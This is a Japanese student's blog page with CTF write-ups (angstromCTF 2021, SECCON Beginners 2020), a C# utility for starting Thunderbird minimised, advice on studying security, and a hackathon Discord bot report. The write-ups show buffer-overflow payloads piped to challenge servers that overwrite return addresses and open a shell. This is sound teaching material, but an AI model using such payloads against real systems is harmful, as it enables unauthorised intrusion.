camera510PC7の栞

情報系学生のTips、ポエム、活動記録

angstromCTF 2021 WriteUp

概要

angstromCTF 2021に参加したのでそのWriteUpです。

Misc

Archaic

f:id:camera510PC7:20210409144911p:plain

archive.tar.gzの中身を確認してみます。

f:id:camera510PC7:20210409144928p:plain

shellサーバの中のarchive.tar.gzの中にflag.txtが入っており、この中身が見れればOKのようです。

以下のtarコマンドを使って展開してみます。

tar xzvf archive.tar.gz

Operation not permittedとなって実行することが出来ません。

f:id:camera510PC7:20210409144942p:plain

そこでファイル出力せずにファイルの中身を確認することにします。

以下のコマンドを実行します。

tar -zxOf archive.tar.gz flag.txt

flagが表示されました。

f:id:camera510PC7:20210409144959p:plain

Rev

FREE FLAGS!!1!!

nc shell.actf.co 21703に接続してみます。

f:id:camera510PC7:20210409145014p:plain

What number am I thinking of???と訊かれるので適当に数字を打ち込んでみると
Wrong >:((((となります。

f:id:camera510PC7:20210409145028p:plain

プログラムをGhidraで解析してみます。

数字の入力が訊かれる部分を逆コンパイルすると以下のようになります。

f:id:camera510PC7:20210409145120p:plain

どうやらWhat number am I thinking of???で訊かれる数字は31337であり、そのあとに訊かれるWhat two numbers am I thinking of???では足して1142、掛けて302937になる二つの数字、What animal am I thinking of???ではbananaという文字列を入力することでflagが表示されるようです。

足して1142、掛けて302937になる二つの数字を見つけます。

302937を素因数分解すると3×241×419になります。

3 × 241 + 419 = 723 + 419 = 1142なので入力する数字は723と419になります。

入力すると以下のようになりflagが表示されます。

f:id:camera510PC7:20210409145136p:plain

BINARY

tranquil

nc shell.actf.co 21830に接続してみます。

Enter the secret wordと訊かれます。適当に文字を入力するとLogin failed!と表示されます。

f:id:camera510PC7:20210409145154p:plain

ソースコード

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int win(){
    char flag[128];
    
    FILE *file = fopen("flag.txt","r");
    
    if (!file) {
        printf("Missing flag.txt. Contact an admin if you see this on remote.");
        exit(1);
    }
    
    fgets(flag, 128, file);
    
    puts(flag);
}





int vuln(){
    char password[64];
    
    puts("Enter the secret word: ");
    
    gets(&password);
    
    
    if(strcmp(password, "password123") == 0){
        puts("Logged in! The flag is somewhere else though...");
    } else {
        puts("Login failed!");
    }
    
    return 0;
}


int main(){
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    vuln();
    
    // not so easy for you!
    // win();
    
    return 0;
}

ソースコードを見てみるとgetsを使っていて入力できる文字数を制限していないためバッファオーバフローが起こせそうです。

またwin関数を実行することでflagが表示されるようです。

つまりバッファオーバフローを起こしてリターンアドレスを書き換えることでflagがゲットできそうです。

プログラムをGhidraで解析してwin関数のアドレスを調べます。

f:id:camera510PC7:20210409151117p:plain

win関数のアドレスは00401196であることが分かりました。

リターンアドレスを書き換えるコードを作成します。(今回はshellのワンライナーで解きました)

vuln関数はpasswordが64バイトであり、古いrbpが8バイトあるためスタックは以下のようになります。

位置 大きさ 内容
rbp - 0x40 64バイト password
rbp 8バイト 古いrbp
rbp + 0x08 8バイト リターンアドレス

※Ghidraのアドレス表示はリターンアドレスを基準としたもの(上記の表より8バイトずれている)なので注意

つまり72バイト適当な文字列を入力した後、 win関数のリターンアドレスを入力すればよさそうです。

以下shellのワンライナー

echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x96\x11\x40\x00' | nc shell.actf.co 21830

※アドレスを入力するときはリトルエンディアンにする

実行すると以下のようになりflagが出ます。

f:id:camera510PC7:20210409145232p:plain

Sanity Checks

nc shell.actf.co 21303に接続します。

Enter the secret wordと訊かれるので適当な文字列を入力するとLogin failed!と弾かれます。

f:id:camera510PC7:20210409145246p:plain

ソースコード

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void main(){
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    char password[64];
    int ways_to_leave_your_lover = 0;
    int what_i_cant_drive = 0;
    int when_im_walking_out_on_center_circle = 0;
    int which_highway_to_take_my_telephones_to = 0;
    int when_i_learned_the_truth = 0;
    
    printf("Enter the secret word: ");
    
    gets(&password);
    
    if(strcmp(password, "password123") == 0){
        puts("Logged in! Let's just do some quick checks to make sure everything's in order...");
        if (ways_to_leave_your_lover == 50) {
            if (what_i_cant_drive == 55) {
                if (when_im_walking_out_on_center_circle == 245) {
                    if (which_highway_to_take_my_telephones_to == 61) {
                        if (when_i_learned_the_truth == 17) {
                            char flag[128];
                            
                            FILE *f = fopen("flag.txt","r");
                            
                            if (!f) {
                                printf("Missing flag.txt. Contact an admin if you see this on remote.");
                                exit(1);
                            }
                            
                            fgets(flag, 128, f);
                            
                            printf(flag);
                            return;
                        }
                    }
                }
            }
        }
        puts("Nope, something seems off.");
    } else {
        puts("Login failed!");
    }
}

ソースコードを見てみるとtranquilと同じくgetsを使っていて入力できる文字数を制限していないためバッファオーバフローが起こせそうです。

このプログラムでflagを表示させるには6個の条件がそろう必要があります。

  1. 変数passwordの内容がpassword123
  2. 変数ways_to_leave_your_loverの値が50
  3. 変数what_i_cant_driveの値が55
  4. 変数when_im_walking_out_on_center_circleの値が245
  5. 変数which_highway_to_take_my_telephones_toの値が61
  6. 変数when_i_learned_the_truthの値が17

バッファオーバフローで変数の中身を書き換えるためにスタックの並びを調べます。今回はGhidraで解析します。

上記のソースコードをもとに逆コンパイル結果の変数名を修正するとmain関数のスタックは以下のようになります。

f:id:camera510PC7:20210409145309p:plain

これを表にまとめると以下のようになります。

位置 大きさ 内容
rbp - 0xe0 128バイト flag
rbp - 0x60 64バイト password
rbp - 0x20 12バイト *f
rbp - 0x14 4バイト when_i_learned_the_truth
rbp - 0x10 4バイト which_highway_to_take_my_telephones_to
rbp - 0x0c 4バイト when_im_walking_out_on_center_circle
rbp - 0x08 4バイト what_i_cant_drive
rbp - 0x04 4バイト ways_to_leave_your_lover
rbp 8バイト 古いrbp

※Ghidraのアドレス表示はリターンアドレスを基準としたもの(上記の表より8バイトずれている)なので注意

つまりpassword123を入力した後53バイト分Null文字、12バイト分のNullポインタ、17を16進数に変換したもの(0x11)、61を16進数に変換したもの(0x3d)、245を16進数に変換したもの(0xf5)、55を16進数に変換したもの(0x37)、50を16進数に変換したもの(0x32)を入力します。

f:id:camera510PC7:20210409145752j:plain

これらの情報をもとにコードを作成します。

以下shellのワンライナー

echo -e 'password123\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x3d\x00\x00\x00\xF5\x00\x00\x00\x37\x00\x00\x00\x32\x00\x00\x00' | nc shell.actf.co 21303

※整数値を入力するときはリトルエンディアンにする

実行すると以下のようになりflagが出ます。

f:id:camera510PC7:20210409145342p:plain

感想

今回は大学サークルのチームとして参加して、自分は4問解きました。

f:id:camera510PC7:20210409145356p:plain

自分は2年前にも参加しました。その時は全く歯が立たなかったですが、今回は少しだけでも解けたので成長を実感できました。

Thunderbirdを自作プログラムから最小化状態で起動させる

概要

PCのメーラーThunderbirdに乗り換えたところ、デフォルトで最小化状態のまま自動起動させるという機能が備わっていなかったため自分でプログラムを書いた。
(Thunderbirdを起動させていないと新着メールの通知が飛ばない)

まず試したこと

ここで紹介されている

スタートアップフォルダにショートカットを作る->ショートカットのプロパティ
->実行時の大きさ->最小化

を試したところ自分の環境ではうまくいかなかった(どうしても通常のウインドウサイズで起動してしまう)ため起動するためのプログラムを自作するに至った。

自作プログラム

ソースコード

今回はWindowsフォームアプリケーション(C#)として開発。

解説

dll読み込み

[DllImport("user32.dll", CharSet = CharSet.Auto)]
static extern IntPtr FindWindow(string lpClassName, string lpWindowName);

[DllImport("user32.dll", CharSet = CharSet.Auto)]
static extern IntPtr GetForegroundWindow();

[DllImport("user32.dll",CharSet=CharSet.Auto)]
static extern int ShowWindow(IntPtr hWnd, int nCmdShow);

//[DllImport("user32.dll", CharSet = CharSet.Auto)]
//static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount);

//[DllImport("user32.dll", CharSet = CharSet.Auto)]
//static extern int GetWindowTextLength(IntPtr hwnd);

利用するWindows APIを読み込む。
下の二つはクラス名が分からない時に使うAPI(後述)である。

プログラム起動時(Form_Load)の処理

フォームの非表示

this.Hide();

今回フォーム本体は利用しないので非表示にする。

プロセス生成・起動

//プロセス生成
System.Diagnostics.ProcessStartInfo psi = new System.Diagnostics.ProcessStartInfo();
psi.FileName = "C:/Program Files/Mozilla Thunderbird/thunderbird.exe";
psi.WindowStyle = System.Diagnostics.ProcessWindowStyle.Minimized;
//プロセススタート
System.Diagnostics.Process hProcess = System.Diagnostics.Process.Start(psi);

System.Diagnostics.ProcessStartInfo()を利用してプロセスを生成。
FileNameでexeのパスを指定。
WindowStyleはなんでもよいが、今回はMinimizedにした。
System.Diagnostics.Process.Startでプロセスを起動させる。

起動するまで待つ

//6秒待つ→タイミングがずれた時にうまくいかない→WaitForInputIdleで解決
//System.Threading.Thread.Sleep(6000);

//Thunderbirdが起動するまで待つ
hProcess.WaitForInputIdle();

ウインドウを最小化するためにはプロセスが起動するまで待つ必要がある。
n秒待つというようなコードだとタイミングがずれた時にうまくいかなくなる。
WaitForInputIdle()を使うことでプロセスが起動するまで待つことができる。

クラス名が分からない時の処理

//↓↓クラス名が分からない時の処理↓↓
//(もしくはWinspector Spyを利用してクラス名を取得)
            
//アクティブウインドウのウィンドウハンドルを取得
IntPtr hwnd = GetForegroundWindow();  

//クラス名の長さを取得
int length = GetWindowTextLength(hwnd);

//クラス名を取得
StringBuilder className = new StringBuilder(length);
int ret = GetClassName(hwnd, className, length);

//取得したクラス名をMesssageBoxで表示
MessageBox.Show(className.ToString()); 

//↑↑クラス名が分からない時の処理↑↑

ウインドウを制御するためにはウィンドウのクラス名を知る必要がある。
上記の方法もしくはWinspector Spyなどの専用のソフトウェアを使う方法の2種類がある。

上記の方法は

  1. アクティブウインドウのハンドルを取得
  2. クラス名の長さとクラス名と取得
  3. メッセージボックスで取得したクラス名を表示

という手順で取得している。

今回使用するのは「MozillaWindowClass」というクラス名。

プロセス名からウインドウタイトルを取得

//ウインドウタイトルをプロセス名から取得
//プロセス一覧からthunderbirdを検知→ウインドウタイトルを変数に格納
foreach (System.Diagnostics.Process p in
                 System.Diagnostics.Process.GetProcesses())
{
        if (p.MainWindowTitle.Length != 0)
        {
            if (p.ProcessName.Contains("thunderbird"))
            {
                window_name = p.MainWindowTitle;
            }
         }
}

ウインドウクラスだけではハンドルを取得することが出来なかったのでウインドウタイトルも指定する。
プロセス名からウインドウタイトルを取得して変数に格納している。
プロセス一覧をSystem.Diagnostics.Process.GetProcesses()を使って取得している。

ウインドウハンドルの取得

//事前に調べたクラス名(MozillaWindowClass)とウインドウタイトルからウインドウハンドルを取得
IntPtr hwnd = FindWindow("MozillaWindowClass",window_name);  

上記で調べたクラス名とウインドウタイトルからウインドウハンドルを取得。

ウインドウを制御する

//thunderbirdのウインドウを最小化する
ShowWindow(hwnd, 6);

ShowWindowの第一引数に取得したウインドウハンドル、第二引数に状態を渡す。
ShowWindowの第二引数の番号と状態の対応はこちら参照

終了処理

//ウインドウハンドルを閉じる
hProcess.Close();
//ウインドウハンドルを破棄する
hProcess.Dispose();
//本プログラムを終了させる
this.Close();

ウインドウハンドルを閉じて破棄している。
そのあとthis.Close()することでプログラムを終了している。

ハマった点

Visual Studioに付属しているSpy++が起動しない

f:id:camera510PC7:20210331220438p:plain

Visual Studioにはウインドウクラスを調べるためのSpy++というツールが付属しているが、これがユーザーアカウント制御でブロックされてしまう。(Administratorでログインしていてもダメ、管理者として実行してもダメ、多分セキュリティ対策ソフトが原因?)

f:id:camera510PC7:20210331220937j:plain

(スクリーンショットが取れかなったのでモニター直撮り)

今回はSpy++の代替としてWinspector Spyを利用した。

ウインドウクラスだけではハンドルを取得できない

FindWindowについて検索しているとクラス名だけでハンドルを取得している例が見つかるが、Thunderbirdの場合はウインドウタイトルまで指定しないとハンドルが取得できなかった。

これはMozillaWindowClassというクラス名が複数使われていることが原因だと思われる。

f:id:camera510PC7:20210401223341p:plain
↑Winspector SpyのWindow Listのスクリーンショット

ちなみに同じMozilla製であるFireFoxもMozillaWindowClassといいう名称のウインドウクラスを使用している。

アプリケーションの使い方

  1. まず、Thunderbird
    オプション->一般->システム統合
    から「最小化したThunderbirdをタスクトレイにしまう」を有効化する f:id:camera510PC7:20210401221317p:plain
  2. スタートアップフォルダに生成したexeのショートカットを置いておく。
    f:id:camera510PC7:20210401221119p:plain

こうすることでWindows起動時に最小化状態(タスクトレイ常駐)でThunderbirdを立ち上げることができる。

まとめ

今回はThunderbirdを最小化状態で起動させるプログラムを作ってみた。

Thunderbirdには最小化状態で起動させるアドオン等も存在するみたいだが、バージョンアップによってどれも使えなくなっていた。今回利用した方法も将来的にバージョンアップの影響で使えなくなる可能性があるが、その時はまた試行錯誤するしかない。

また、この方法を応用すればSlackなど他のアプリケーションにも使えるのではないかと思う。

「情報セキュリティを学ぶには?」という質問に対する答え

概要

とある場所で「情報セキュリティを学ぶにはどの大学が良いか」という質問を見かけたので自分の考えをまとめました。
本エントリーは情報セキュリティを学びたいと考えている中高生や現在情報セキュリティを学んでいる学生をターゲットに書いています。

筆者の立場

筆者は現在、長崎県立大学 情報システム学部 情報セキュリティ学科で学んでいる学生です。本エントリーはあくまで一学生としての考えです。

重要だと感じること

私が重要だと感じることは以下の3つです。

基礎知識

セキュリティは基礎知識の上に成り立つものです。個人的にはITパスポートから基本情報技術者のテクノロジ系出題範囲レベルの知識は必須だと考えています。机上での理解に加えて実際に演習(手を動かして理解)しておくとなお良いと思います。(特にLinuxの基本操作など)

Linux基本知識については下記を参考
Linux入門講座 - Speaker Deck

自主学習

自分で掘り下げて自己満足するまで学習するのが一番です。自分の興味のあることを自分で学び(理解し)、実践することが大切だと考えています。

コミュニティへの参加

知識の習得、情報収集、モチベーションの維持(刺激を受ける)、繋がりを広げるためにもコミュニティへの参加が大切だと感じています。

大学という場所

「情報セキュリティを学ぶのに大学で勉強する必要はない」という意見を言う人もいます。極論を言えば上記の3点の環境をそろえられるのであれば大学に拘泥する必要はないと思います。ただし知識なし、スキルなし、コミュニティとのつながりなしの状態から上記3点の環境を効率よくそろえるには大学に行くのが一番良いと感じています。

基礎知識を身につけるための大学

大学によってはITパスポートや基本情報技術者の取得を進級、卒業要件にしているところもあります。机上だけの基礎知識であれば多くの大学の授業で学ぶことができると思います。カリキュラムにこれら基礎知識を確認する演習(プログラミング、アルゴリズム、ネットワーク構築などの演習)があるところはなおよいと思います。

自主学習のための大学

基礎知識以上のものは興味に合わせて自分で学ぶ必要があります。自主学習のために先生方を頼ったり、大学図書館で最新の技術書を借りることができます。(大学図書館になければ購入希望や取り寄せることも可能)

Q.大学の通常授業ではだめなの?

大学の授業は大抵一科目当たり90分×15回というところが多いです。限られた時間の中で発展的なことを授業中に扱うのは限界があります。また授業を受けている学生のスキルは様々です。よって発展的なことを扱わない授業もあります。
また、授業は必ずしもシラバス通りに進むとは限りません。特に2020年度は新型コロナウイルス対策で対面授業から遠隔授業(オンデマンド授業)に切り替わったこともあり、シラバス通りに進んでいない授業やシラバスが授業直前に変更されるということが多々ありました。以上のことから(先生方には申し訳ないですが)授業に期待しすぎるのはあまりよくないと思っています。

(授業が実際どんなものだったかを知るには授業を受けた学生の感想を聞く、授業資料を見せてもらうといいと思います。先生によっては外部に授業資料を公開されている方もいらっしゃいます。)

コミュニティとしての大学

大学の機能として個人的に一番大きいと思うのがこの"コミュニティとしての大学"です。私もCyber研究会という情報系のサークルに参加していますが、このようなサークルや大学内のコミュニティに参加して知識習得・情報収集・モチベーションを維持することが大切だと感じています。
またサークルだけでなく先生方との繋がりがあるというところも大学の良いところだと思います。運が良ければ先生経由で企業の方と共同研究をすることができたり、学会に学生アルバイトとして参加できたり、産官学連携してイベントを開催できたりします。
先生が民間企業や官公庁出身の場合は現場の生の声を聞けます。
このような経験ができるのも大学というコミュニティならではであると感じています。

どの大学を選ぶ?

Q.情報セキュリティは理系?文系?

テクノロジーをメインで学びたいということであれば言わずもがな理系(情報系学部、情報工学)だと思います。
ただし、下記のようなテクノロジーの周りにある情報セキュリティをメインで学びたい場合どうでしょうか?

  • 情報セキュリティにまつわる心理学
    (例:標的型攻撃メールを信じてしてしまう人の心理、内部不正をする人の心理など)

  • セキュリティインシデントがもたらす経済への影響

  • セキュリティ関係の法律について

これらをメインに学びたい場合は必ずしもセキュリティ=理系とは言えないと思います(理系の学部学科でも先生の専門分野に心理学、経済、法律などがあれば可能ですが)。
また仮に文系に進んだとしてもテクノロジーの勉強が全くできないかといえばそうでもないと思いますし、逆も然りだと思います。
ここで大切になってくるのは「何を中心に学びたいか」ということだと思います。

大学選びで重要なのは何を中心にどう学びたいか

理系にしろ文系にしろ大学選びは何を中心にどのように学びたいかが重要です。

日本の大学は学部の授業では基礎知識を中心に、研究室配属後から大学院にかけてセキュリティを学ぶというところが多く、学部の授業でセキュリティ分野をしっかり学ぶという大学は少数です(学部の授業でしっかりセキュリティをやるのは自分が知る限り、長崎県立大学 情報セキュリティ学科か立命館大学 情報理工学部 セキュリティ・ネットワークコースぐらいしかありません)。

それを踏まえて以下では3つの場合に分けてどのような大学がおすすめなのかを解説しています。

どの分野を学びたいかはっきりしている場合

ネットでの検索(「【学びたい分野】 大学」等のキーワードで検索)や情報セキュリティ関係の大学研究室一覧まとめ、論文(CiNii、Google Scholar等で検索、学会発表など)を見てどの大学を目指すか決めると良いと思います。あとは学費、地域、自分の学力との相談になると思います。
気を付ける点としては、自分が研究室配属される頃にその行きたかった研究室が存在する保証がないということです。よって学びたい分野を専門にしている先生が複数人いらっしゃる大学の方が安心です。

複数の分野を学びたい場合

情報セキュリティ関係の大学研究室一覧まとめ情報セキュリティ応用でリードする大学を見てそれぞれ自分の学びたい分野の先生がいらっしゃる大学を見つけるとよいと思います。
この際、長崎県立大学 情報セキュリティ学科や立命館大学 情報理工学部 セキュリティ・ネットワークコースのように情報セキュリティ関連全般が学べる大学というのも選択肢としてアリだと思います。
この場合も自分が研究室配属される頃にその行きたかった研究室が存在する保証がないという点には注意が必要です。

ざっくりと「セキュリティを学びたい」としか考えていない場合

セキュリティ全般が学べる大学(長崎県立大学 情報セキュリティ学科や立命館大学 情報理工学部 セキュリティ・ネットワークコースなど)をお勧めします。
ただしこの場合、研究室配属までに自分がどの分野に進みたいのかをはっきり決めておく必要があります。(要は大学入学から研究室配属までの期間をモラトリアムとして使うわけです)

勉強したい分野を絞るには

情報セキュリティにどのような分野があるのかを大まかに知るにはCTFに参加してみると良いと思います。CTFとはCapture The Flagのことで情報セキュリティの技術を競う競技のことです。Jeopardy形式のCTFでどのようなジャンルがあるのかを見ることで大まかな分野が分かると思います。

より詳細な実際の研究分野を知りたければ、論文を検索したり、学会発表(CSSやSCISなど)を調べたり聴講すると良いと思います。論文の内容を理解するのが難しければ雰囲気だけ感じ取るというのでもよいと思います。

また実際の学会誌を読んでみるのもよいと思います。情報処理学会のジュニア会員(小学生~大学学部3年生まで、登録年会費無料)であればネット上で見ることも可能です。大学図書館等で閲覧することもできます。

課外活動で学ぶ

以下は自主学習の手助けになる課外活動の紹介です。

enPiTのSecCapに参加する

文部科学省が主催しているenPiTという活動があります。その中のセキュリティ分野(SecCap)の授業に参加して知識をつけることもできます。これは大学の通常授業とは違い、大学教員 or 外部組織の方が授業や演習を行うというものです。
文科省主催ということもあってか授業、演習の質はある程度担保されているように感じます。
科目はそれぞれの大学で開講していますが、学内外関係なく好きな科目を受講することができます。科目群としては「専門科目」「演習科目」「先進演習科目」があります。
ただし、演習科目・先進演習科目は基礎知識があること前提となっているため、基礎知識をよく理解していない状態で履修すると演習についていけなくなります。

SecCapにはコース認定制度というものがあり(こちら参照)筆者も(学年の関係で本エントリー執筆時点では正式に認定されていませんが)Basic SecCap8認定相当の授業を履修しています。

主に学部3年生~4年生をターゲットにしているようですが、大学によっては学部1年生からでも履修可能です。

セキュリティ・キャンプ(地方大会、全国大会)やSecHack365に参加する

セキュリティ・キャンプ(地方大会、全国大会)SecHack365に参加してセキュリティの知識やスキルを身につける方法もあります。これらは参加するための事前課題や年齢制限があるものなので誰でも参加できるというわけではありませんが、もし参加することができればかなり有意義なものになります。

参考 camera510pc7.hatenablog.com

情報収集の方法

人によって情報収集の方法は様々だと思いますが、自分はニュースサイトや有識者の方のTwitter、公的機関のTwitterから情報を得ることが多いです。

  • ニュースサイトの例

www.security-next.com

cybersecurity-jp.com

  • Twitterのリスト機能を活用した例

twitter.com

その他コミュニティ

セキュリティ要素の有無に関係なくITコミュニティを覗いてみるといいと思います。というのもこのようなコミュニティには業務でセキュリティをやっているという人も参加していて、そこで繋がりができることがあるからです。

地域のITコミュニティ

自分の地域のITコミュニティであれば(今はご時世的に難しいですが)オンサイトのイベントにも参加しやすいです。このような地域コミュニティを見つけるにはconnpassやTECH PLAYといったプラットフォームを定期的に確認しておくとよいです。
例として私のいる長崎、九州で活動しているコミュニティを上げておきます。

netfocs.connpass.com

naite.swquality.jp

minasapo.connpass.com

c4nagasaki.org

www.kyushu.gr.jp

オンラインのITコミュニティ

最近はコロナの影響もあり、オンラインのコミュニティが増えてきました。以下はオンラインで活動しているコミュニティの一部です。

yamatosecurity.connpass.com

japan-bug-bounty-forums.vercel.app

line.me

その他、slackやdiscord、LINEのオープンチャットで活動しているコミュニティもあります。

まとめ

自分の考えをつらつら書いていたら思ったより長くなってしまいました。(汗)
まとめると

  • 「基礎知識」「自主学習」「コミュニティへの参加」が大事
  • 上記の環境を整えるのであれば大学が最適
  • 大学は「何を中心にどのように学びたいか」で選ぶ

といったところでしょうか

参考

tetsutalow.hateblo.jp

github.com

www.milive-plus.net

ハッカソンでDiscordBotを作りました

概要

9月20日から22日までサークル内でオンラインハッカソン・アイデアソンを開催しました。その内容を紹介していきます。
GoogleMeetを使って行いました。
サークル内で参加希望を取ったものの実際に参加したのは3~4人程度でした。(時期が悪かったっぽい...)

イデアソン

まずはアイデアソンを行いました。
それぞれのアイデアをスライド1枚にまとめてもらい、画面共有をして発表を行いました。そしてGoogleフォームにて各案の投票を行いました。
投票の結果以下のような機能を持ったDiscordのbotを参加者みんな(3~4人)で作ることになりました。

  • 画像検索機能
  • 地震情報表示機能
  • タイマー機能
  • YouTubeの新着動画通知機能

ハッカソン

20日の昼頃から21日の夜まで実装を行いました。そして22日の午前中に発表資料を作り、午後から実際に発表を行いました。

画像検索機能

  1. Google画像検索をCustom Search API経由で利用し画像のURLを取得する
  2. 画像を各サーバから取得して保存する
  3. 画像をDiscordの添付ファイルとして投稿する

という流れです。

f:id:camera510PC7:20200928144350j:plain

f:id:camera510PC7:20200928142946j:plain

地震情報表示機能

今回は地震情報の取得にP2P地震情報というものを利用しています。

マグニチュードを指定するとそのマグニチュード地震についての情報を表示しています。

f:id:camera510PC7:20200928144934j:plain

f:id:camera510PC7:20200928144953j:plain

タイマー

時間(分)を指定するとその時間後にお知らせしてくれるというものです。

f:id:camera510PC7:20200928182839j:plain

f:id:camera510PC7:20200928182857j:plain

YouTube新着動画通知

事前に登録したYouTubeチャンネルに新着動画が上がったら教えてくれる機能。
こちらはノンコーディングで実現!!

f:id:camera510PC7:20200928184256j:plain

f:id:camera510PC7:20200928184323j:plain

くじ引き機能(おまけ)

参加していた後輩が急遽作成した機能です。(予定していた機能を作り終えて余裕があったらしい)

くじの最大値を入力すると1からその数値までの乱数を返すというものです。

f:id:camera510PC7:20200930173231j:plain

f:id:camera510PC7:20200930173747j:plain

成果物発表

成果物の内容をスライドにまとめてGoogleMeetで画面共有をしながら発表しました。(全員この開発に携わっていましたが...)

スライドは上記の画像をまとめたものです。

ソースコード

感想

良かった点

今回初めてdiscordのbotを開発したので良い経験になりました。思っていたよりも簡単に実装できました。またPythonで外部のAPIを叩いてJSONを取得してくるというのも今までしたことがなかったので勉強になりました。

反省点

対面で作業をしているわけではないため、チームのメンバーの進捗状況が分かりずらかったです。進捗報告を求めると把握することはできますが、頻繁に行わないと順調に進んでいるのかつまずいているのかが全く分からなかったです。オンラインを使ってチーム開発するときは進捗報告をこまめに行うことが大切だと思いました。

総括

開催頻度は低いかもしれないけれどまたサークル内でハッカソンを開催できればいいなぁ

SECCON Beginners CTF 2020 WriteUp

概要

SECCON Beginners CTF 2020のWriteUpです。

解けた問題

【Crypto】R&B

添付ファイルであるr_and_b.zipを展開するとencoded_flagとproblem.pyが手に入る。

encoded_flag

BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==

problem.py

from os import getenv


FLAG = getenv("FLAG")
FORMAT = getenv("FORMAT")


def rot13(s):
    # snipped


def base64(s):
    # snipped


for t in FORMAT:
    if t == "R":
        FLAG = "R" + rot13(FLAG)
    if t == "B":
        FLAG = "B" + base64(FLAG)

print(FLAG)

problem.pyを見ると、どうやらFORMATから1文字取り出して「R」なら先頭にRをつけ足してそのあとにフラグをrot13でエンコードしたものを付加し、「B」なら先頭にBをつけ足してそのあとにフラグをbase64エンコードしたものを付加している。

よって、solverはこのプログラムの逆(flagの先頭を見て「R」なら以下をrot13でデコード、「B」なら以下をbase64でデコードするをctf4b・・・が出るまで繰り返す)を書けばいい。
ということで以下solver。
solver.py

import base64
import codecs

flag = b'BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ=='

while True:
    if flag[:1] == b"B":
        flag = base64.b64decode(flag[1:])
    elif flag[:1] == b"R":
        flag = codecs.encode(flag[1:].decode(),'rot13').encode()
    elif flag[:1] == b"c":
        break
print(flag.decode())

flag

ctf4b{rot_base_rot_base_rot_base_base}

解けなくてあきらめた問題

【Pwn】Beginner's Stack

サーバへの接続情報
nc bs.quals.beginners.seccon.jp 9001

添付ファイルを展開すると、challという名前の実行ファイルが手に入る。

上記のサーバに接続すると以下の画像のようになる。

f:id:camera510PC7:20200527093825p:plain

ここでInputに適当な文字を入力すると以下のようになる。

f:id:camera510PC7:20200527095113p:plain

どうやらスタックの中身を任意のものに変えられるようだ。
これを利用すればバッファオーバーフローでリターンアドレスが書き換えられそうだ。
アクセスしたときに表示される内容からリターンアドレスをwin関数( 0x400861)に書き換えれば良さそうだとわかる。
シェルから以下の入力を試してみる。

$  echo -e '\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x61\x08\x40\x00\x00\x00\x00\x00' | nc bs.quals.beginners.seccon.jp 9001

すると以下のようなレスポンスが来る。 f:id:camera510PC7:20200527102531p:plain

Oops! RSP is misaligned!
Some functions such as `system` use `movaps` instructions in libc-2.27 and later.
This instruction fails when RSP is not a multiple of 0x10.
Find a way to align RSP! You're almost there!

どうやらRSPの位置が違うらしく、うまく動かない。

自分はこれ以上わからなかった。


以下、終了後writeupを見たり、チームメイトと模索して出した回答である。

シェルから以下のような入力をする。

$ (echo -e '\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x62\x08\x40\x00\x00\x00\x00\x00';cat) | nc bs.quals.beginners.seccon.jp 9001

ポイントとしてはechoを丸かっこでくくり、echoの最後に「;cat」をつける(シェルを剥奪するため)、またリターンアドレスを 0x400862にすること(RSPのエラー防ぐため)である。

そうすると以下のようになる。
f:id:camera510PC7:20200527125633p:plain

この状態ですでにシェルが剥奪できているのでlsをしてみる。 f:id:camera510PC7:20200527130354p:plain

このディレクトリの中にflag.txtがあるのでcatで表示してみる。
f:id:camera510PC7:20200527130858p:plain

flag

ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}

参考

qiita.com

感想

